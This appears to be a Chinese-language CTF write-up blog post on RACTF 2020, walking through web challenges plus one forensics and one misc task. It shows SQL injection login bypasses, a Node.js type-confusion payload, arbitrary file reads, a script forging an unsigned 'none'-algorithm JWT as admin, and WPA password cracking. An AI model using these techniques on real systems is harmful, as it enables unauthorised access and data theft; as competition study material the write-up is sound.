CTF Web安全

RACTF(Web)

Posted on 2020-06-07,5 min read

Web有两个系列的题。考点都比较简单。
主要就是考思路吧。

Web签到题

app.post('/getflag', (req, res) => {
    console.log("[-] Getflag post")
    if (!req.body) {return res.send("400")}
    let one = req.body.one
    let two = req.body.two
    console.log(req.body)
    if (!one || !two) {
        return res.send("400")
    }
    if ((one.length !== two.length) || (one === two)) {
        return res.send("Strings are either too different or not different enough")
    }
    one = customhash.hash(secret_key + one)
    two = customhash.hash(secret_key + two)
    if (one == two) {
        console.log("[*] Flag get!")
        return res.send(flag)
    } else {
        return res.send(`${one} did not match ${two}!`)
    }
})

很明显的nodejs弱类型
{"one":[1],"two":[1]}

第一个系列:
首先就是个登陆入口。

存在robots.txt。里面有个admin-stash。访问得到Flag
登陆入口。没啥东西。尝试sql注入。打了个单引号。500了。是个python。
然后各种测试。后端其实是sqlite
' or 1--得到Attempting to login as more than one user!??
提示多个用户登陆。。应该就是or 1返回了所有用户.用limit语句成功登陆
' or 1 limit 0,1--
登陆后。发现有三个链接。

URL是/watch/TCYI.mp4
访问/watch/a就500了。
python web中。有很多类似/<path:file>的任意文件读取
尝试访问/watch/app.py。
得到Flag

在界面的右下角有个Admin
访问就跳转。估计不是Admin身份。
用limit语句遍历登陆。发现没有Admin用户。
抓包看看。发现有个JWT头。解密后就是当前用户和privialge。权限

找了下密钥。公钥。都没找到。对于jwt一般就HS256或者none。或者找到爆破密钥
这里是none

const jwt=require('jsonwebtoken');
const user='admin';
const privilege=2;
console.log(jwt.sign({user,privilege}, null, {algorithm: 'none'}));

第二个系列

依旧是登陆

欸。依旧是存在robots.txt。没啥用。几个文件都不存在

读取backup.txt。密码就是flag
读取main.py。得到第二个flag
然后。依旧是sqlite注入
' or 1 limit 1,1--得到admin的flag
limit遍历。还有一个用户的flag
然后就没思路了。。。
尝试跑了下库。没东西。
Ha1师傅的字典🐂🍺。扫出了sitemap.xml
得到sitemap.xml.bak


最后一个挑战。burp抓包看到__adminPortal
带上登陆后的session访问得到

F12发现unicode字符。实质上是普通字符+一堆unicode字符。unicode把普通字符覆盖了。写个脚本匹配出里面的普通字符得到Flag

import requests
import string
c = {
'session':'854b2123-1894-40c6-bcc1-032d3a7da846'
}
s=string.printable
result=requests.get(url='http://88.198.219.20:45041/__adminPortal',cookies=c).text
data=result.split('<h3 style="display:none">')
for i in data[1]:
    if i in s:
        print(i,end='')
    else:
        pass

取证题就会一个流量分析。。
WIFI数据包。拿rockyou爆破出密码
然后解密数据包导出PDF得到Flag

杂项python。

import math

x = 0.0
z = 0.0
flag_x = 10000000000000.0
flag_z = 10000000000000.0
print("Your player is at 0,0")
print("The flag is at 10000000000000, 10000000000000")
print("Enter your next position in the form x,y")
print("You can move a maximum of 10 metres at a time")
for _ in range(100):
    print(f"Current position: {x}, {z}")
    try:
        move = input("Enter next position(maximum distance of 10): ").split(",")
        new_x = float(move[0])
        new_z = float(move[1])
    except Exception:
        continue
    diff_x = new_x - x
    diff_z = new_z - z
    dist = math.sqrt(diff_x ** 2 + diff_z ** 2)
    if dist > 10:
        print("You moved too far")
    else:
        x = new_x
        z = new_z
    if x == 10000000000000 and z == 10000000000000:
        print("ractf{#####################}")
        break

问题就出在这个float函数上
float函数支持nan,inf这些
如果传入字符。float后与x相减。依旧是nan
然后math.sqrt(nan**2-diff_z**2)依旧是nan
而字符串又始终比数字大。

下一篇: 利用|和&来进行无数字webshell→